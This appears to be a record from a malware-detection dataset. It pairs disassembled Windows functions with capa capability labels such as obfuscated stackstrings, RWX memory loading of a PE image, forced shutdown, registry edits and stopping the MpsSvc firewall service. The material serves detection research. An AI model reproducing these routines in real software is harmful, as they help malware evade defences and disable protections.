joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4068e0
Capabilities:
Create directory

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
push edi
mov dword [esp + 0x14], 1
call ebx
add eax, 2
push eax
call fcn.004075d4
add esp, 4
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x411314
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
mov edi, esi
call ebx
mov ebx, eax
xor ebp, ebp
test ebx, ebx
jbe 0x40695e
cmp byte [edi], 0x5c
jne 0x40694e
push 0
push esi
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40694b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x406956
mov byte [edi], 0x5c
inc edi
inc ebp
cmp ebp, ebx
jb 0x406929
jmp 0x40695e
mov dword [esp + 0x10], 0
push esi
call fcn.004075c9
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x406980
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40699c
test al, 0x10
jne 0x40699c
mov eax, 1
ret 4
xor eax, eax
ret 4

Function at 0x4069b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4069cc
test al, 0x10
je 0x4069cc
mov eax, 1
ret 4
xor eax, eax
ret 4

Function at 0x406ba0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x474
xor eax, eax
push edi
mov dword [esp + 8], eax
mov ecx, 0x11
mov dword [esp + 0xc], eax
lea edi, [esp + 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], eax
mov word [esp + 0x48], ax
mov eax, dword [esp + 0x480]
mov dword [esp + 0x18], 0x44
test eax, eax
mov dword [esp + 0x44], 1
je 0x406bf3
mov word [esp + 0x48], 1
mov ecx, dword [esp + 0x47c]
lea edx, [esp + 0x78]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
lea edx, [esp + 0x94]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406cae
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
push esi
mov esi, dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0xff
push 0xffffffffffffffff
lea eax, [esp + 0x14]
push 0
push eax
push 1
call esi
test eax, eax
je 0x406c7a
cmp eax, 1
jne 0x406c7a
push 0
push 0
push 0
lea ecx, [esp + 0x6c]
push 0
push ecx
call edi
mov eax, dword [esp + 0x64]
cmp eax, 0x11
je 0x406c7a
cmp eax, 0x10
je 0x406c7a
cmp eax, 0x12
jne 0x406c3d
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push edx
mov dword [0x414870], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, dword [esp]
add esp, 0x474
ret 8
mov eax, 0xcccccccc
pop edi
add esp, 0x474
ret 8
Function at 0x406cc0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x454
xor eax, eax
push edi
mov dword [esp + 4], eax
mov ecx, 0x11
mov dword [esp + 8], eax
lea edi, [esp + 0x14]
mov dword [esp + 0xc], eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], eax
mov word [esp + 0x44], ax
mov eax, dword [esp + 0x460]
mov dword [esp + 0x14], 0x44
test eax, eax
mov dword [esp + 0x40], 1
pop edi
je 0x406d0c
mov word [esp + 0x40], 1
mov ecx, dword [esp + 0x458]
lea edx, [esp + 0x54]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0
push 0
push 0x20
push 1
push 0
lea edx, [esp + 0x70]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x454
ret 8

Function at 0x406d50
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x1c
call fcn.00406de0
test eax, eax
je 0x406dbe
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x406dbe
lea edx, [esp + 4]
push edx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0xffff
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
inc eax
add esp, 0x1c
ret
Function at 0x406e10
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x20
push ebx
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0
push 8
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 0
mov byte [esp + 0x2a], 0
mov byte [esp + 0x2b], 0
mov byte [esp + 0x2c], 0
mov byte [esp + 0x2d], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x406e84
call esi
cmp eax, 0x3f0
jne 0x406e73
lea ecx, [esp + 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call esi
cmp eax, 0x78
je 0x406f0d
test eax, eax
je 0x406f0d
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 2
push eax
call edi
test eax, eax
jne 0x406f0d
call esi
cmp eax, 0x7a
jne 0x406f0d
mov ecx, dword [esp + 0xc]
push ecx
call fcn.004075d4
mov ecx, dword [esp + 0x14]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push edx
push eax
test esi, esi
push esi
push 2
setne bl
push ecx
mov byte [esp + 0x38], bl
call edi
test eax, eax
je 0x406f00
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x406f16
test bl, bl
je 0x406f0d
push esi
call fcn.004075c9
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
mov eax, dword [esi]
xor edi, edi
test eax, eax
push ebp
mov dword [esp + 0x1c], 0
jbe 0x406f57
mov ebx, dword [sym.imp.ADVAPI32.dll_EqualSid]
lea ebp, [esi + 4]
mov ecx, dword [esp + 0x18]
mov edx, dword [ebp]
push ecx
push edx
call ebx
test eax, eax
jne 0x406f4b
mov eax, dword [esi]
inc edi
add ebp, 8
cmp edi, eax
jb 0x406f30
jmp 0x406f53
mov dword [esp + 0x1c], 1
mov bl, byte [esp + 0x28]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
test bl, bl
pop ebp
je 0x406f70
push esi
call fcn.004075c9
add esp, 4
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
add esp, 0x20
ret

Function at 0x406f80
Capabilities:
Get geographical location

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [0x414874]
sub esp, 0x34
cmp eax, ecx
jne 0x406f9a
mov eax, dword [0x411420]
cmp eax, 0xffffffff
jne 0x406fe0
lea eax, [esp]
push 0x14
push eax
push 0x1004
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jle 0x406fda
lea ecx, [esp]
push ecx
call fcn.00407617
add esp, 4
lea edx, [esp + 0x14]
push 2
push edx
push eax
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
test eax, eax
je 0x406fda
movsx eax, word [esp + 0x14]
mov dword [0x411420], eax
mov ax, word [0x411420]
add esp, 0x34
ret
Function at 0x406ff0
Capabilities:
Get geographical location

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x14
lea eax, [esp]
push 0x14
push eax
push 0x1004
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jle 0x40702a
lea edx, [esp]
push edx
call fcn.004076a2
mov ecx, dword [esp + 0x20]
add esp, 4
mov dword [ecx], eax
mov eax, 1
add esp, 0x14
ret
xor eax, eax
add esp, 0x14
ret
Function at 0x40bd08
Capabilities:
Contain obfuscated stackstrings

Disassembly:
clc
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x40bcb6
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040b9c8
mov dl, 0x46
loopne 0x40bc94
lea eax, [ebp - 0x40]
push eax
call fcn.0040b9d8
push eax
push esi
push dword [ebp + 8]
call fcn.0040b98d
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0040b9c8
imul esp, dword [eax], 0xffffffc5
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040b9d8
push eax
push esi
push dword [ebp + 8]
call fcn.0040b98d
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040b9d8
push eax
push esi
push dword [ebp + 8]
call fcn.0040b98d
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040b9d8
push eax
push esi
push dword [ebp + 8]
call fcn.0040b98d
add esp, 0x30
xor byte [ecx - 0xb77b], cl
invalid
call fcn.0040b9c8
fbld tbyte [esi - 0x6277ee56]
jl 0x40be4d
invalid
invalid
Function at 0x40c101
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40c09f
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40c0bd
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
push dword [ebx]
ror byte [ecx - 0x3e7443bb], cl
push dword [ebx]
ror byte [ecx - 0x3e7443bb], cl
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40c11b
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40c102
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x40c10b
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40c115
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40c0f7
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40c081
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x40c168
dec eax
je 0x40c15f
sub eax, 3
je 0x40c156
mov dword [ebp - 4], 0x40
jmp 0x40c185
mov dword [ebp - 4], 4
jmp 0x40c16b
mov dword [ebp - 4], 0x20
jmp 0x40c16b
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x40c1b7
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x40c137
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040b9c8
invalid
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c254
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebp, 0x55fffffc
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0040b9d8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040b98d
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
invalid
Function at 0x40c5f4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.0040b9d8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040b98d
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.0040b9c8
pinsrw mm3, word [ecx], 0x72
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x40c6bc
cmp dword [ebp - 0x398], 0
je 0x40c886
cmp dword [ebp + 0xc], 1
je 0x40c886
cmp dword [ebp + 0xc], 8
jne 0x40c84e
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.0040b9d8
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040b98d
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
invalid
invalid
invalid

Function at 0x40cd98
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
je 0x40db5b
push 5
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.0040b939
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x40cdd5
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x40ce1e
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
invalid
Function at 0x1000111d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
or dword [ebp - 0x14], 0xffffffff
push ebx
mov ebx, dword [sym.imp.ntdll.dll_wcslen]
push esi
push edi
push dword [ebp + 0x10]
xor edi, edi
call ebx
pop ecx
lea eax, [eax + eax + 0x16]
call fcn.10004210
lea eax, [ebp - 0x24]
mov dword [ebp - 0x18], esp
push eax
call dword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
test eax, eax
jl 0x100011fc
movzx eax, word [ebp - 0x24]
add eax, 0x94
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
call fcn.10004210
mov edi, esp
lea eax, [ebp - 0x24]
push eax
push str._wZSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
push edi
call dword [sym.imp.ntdll.dll_swprintf]
add esp, 0xc
push 0
push edi
lea esi, [ebp - 0x44]
call fcn.1000173b
push eax
push 0x20019
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntdll.dll_ZwOpenKey]
test eax, eax
jl 0x100011e3
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xc], eax
jae 0x100011b8
sub eax, dword [ebp - 0xc]
call fcn.10004210
mov eax, dword [ebp - 0x18]
mov edi, esp
sub eax, edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push edi
push 2
push 0x100052c8
push dword [ebp - 0x10]
call dword [sym.imp.ntdll.dll_ZwQueryValueKey]
mov dword [ebp - 0x14], eax
cmp eax, 0x80000005
je 0x1000119e
push dword [ebp - 0x10]
call dword [sym.imp.ntdll.dll_ZwClose]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
cmp dword [ebp - 0x14], 0
jl 0x100011fc
mov eax, edi
call fcn.100010f4
jmp 0x100011fe
xor eax, eax
test eax, eax
je 0x100012c8
cmp dword [ebp + 0xc], 0
lea esi, [edi + 0xc]
je 0x1000122f
push 2
pop eax
push 0x5c
pop ecx
sub esi, eax
mov word [esi], cx
push 0x3f
sub esi, eax
pop ecx
mov word [esi], cx
sub esi, eax
mov word [esi], cx
sub esi, eax
push 0x5c
pop eax
mov word [esi], ax
push dword [ebp + 0x10]
push ecx
call fcn.10001050
pop ecx
push eax
push str._08x_s
push esi
call ebx
pop ecx
lea eax, [esi + eax*2]
push eax
call dword [sym.imp.ntdll.dll_swprintf]
mov edi, dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor eax, eax
add esp, 0x10
mov word [ebp - 0x22], ax
mov word [ebp - 0x24], ax
push esi
lea eax, [ebp - 0x1c]
push eax
call edi
mov ebx, dword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings_U]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
call ebx
cmp eax, 0xc0000023
jne 0x100012c8
mov eax, dword [ebp - 8]
mov word [ebp - 0x22], ax
call fcn.10004210
mov dword [ebp - 0x20], esp
push esi
lea eax, [ebp - 0x1c]
push eax
call edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
call ebx
test eax, eax
jl 0x100012c8
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
push 1
call dword [sym.imp.ntdll.dll_RtlDuplicateUnicodeString]
xor ecx, ecx
test eax, eax
setge cl
mov eax, ecx
jmp 0x100012ca
xor eax, eax
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100012d4
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
push 0x100052e4
stosd dword es:[edi], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call fcn.1000111d
test eax, eax
je 0x100013a0
mov al, byte [0x10007104]
movzx eax, al
call fcn.10004210
mov dword [ebp - 0xc], esp
xor edi, edi
mov dword [ebp - 8], 0x400
mov esi, 0x100052f4
mov eax, dword [ebp - 8]
cmp edi, eax
jae 0x10001330
sub eax, edi
call fcn.10004210
mov edi, dword [ebp - 0xc]
mov ebx, esp
sub edi, ebx
lea eax, [ebp - 8]
push eax
push edi
push ebx
push 2
push esi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_ZwQueryValueKey]
cmp eax, 0x80000005
je 0x1000131b
test eax, eax
jl 0x10001356
mov eax, ebx
call fcn.100010f4
jmp 0x10001358
xor eax, eax
test eax, eax
je 0x1000136a
add ebx, 0xc
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntdll.dll_RtlEqualUnicodeString]
test al, al
jne 0x10001396
movzx eax, word [ebp - 0x14]
inc eax
inc eax
push eax
push dword [ebp - 0x10]
push 1
push 0
push esi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_ZwSetValueKey]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
lea esp, [ebp - 0x2c]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000146d
Capabilities:
Access pe header
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x1000154a
push edi
push 0x40
push 0x1000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x10001546
mov ecx, dword [ebx + 0x54]
rep movsb byte es:[edi], byte [esi]
movzx eax, word [ebx + 0x14]
movzx edx, word [ebx + 6]
lea eax, [eax + ebx + 0x18]
add eax, 0xc
mov ecx, dword [eax]
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 4]
add esi, ecx
add edi, ecx
mov ecx, dword [eax - 4]
add eax, 0x28
dec edx
rep movsb byte es:[edi], byte [esi]
jne 0x100014bc
mov esi, dword [ebp - 4]
mov edi, dword [sym.imp.ntdll.dll_RtlImageDirectoryEntryToData]
sub esi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 5
push 1
push dword [ebp - 4]
call edi
test eax, eax
je 0x10001515
jmp 0x1000150f
mov ecx, dword [eax + 4]
sub dword [ebp - 8], ecx
push esi
lea edx, [eax + 8]
mov eax, dword [eax]
add eax, dword [ebp - 4]
add ecx, 0xfffffff8
push edx
shr ecx, 1
push ecx
push eax
call dword [sym.imp.ntdll.dll_LdrProcessRelocationBlock]
cmp dword [ebp - 8], 0
jne 0x100014f2
lea eax, [ebp - 8]
push eax
push 1
push 1
push dword [ebp - 4]
call edi
test eax, eax
je 0x10001546
lea ecx, [eax + 0xc]
mov eax, dword [ecx]
test eax, eax
je 0x10001546
mov esi, ecx
mov ecx, dword [ebp - 4]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esi, 0x14
mov eax, dword [esi]
test eax, eax
jne 0x10001531
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10001861
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 7
lea eax, [ebp - 0x14]
push eax
push 0x10007058
push 0x12019f
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ntdll.dll_ZwOpenFile]
test eax, eax
jl 0x100018b2
push ebx
push ebx
push 4
push 0x100072f8
push 0x128074
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwDeviceIoControlFile]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwClose]
push 0x10005468
push 0x10007070
push 0xf0001
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntdll.dll_ZwCreateSymbolicLinkObject]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x10001911
push 0xf01ff
push str.MpsSvc
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
cmp edi, ebx
je 0x1000190c
lea eax, [ebp - 0x30]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call esi
push dword [ebp - 8]
call esi
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push 0x10007088
push 0x10000
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ntdll.dll_ZwOpenFile]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwMakeTemporaryObject]
pop edi
pop esi
pop ebx
leave
ret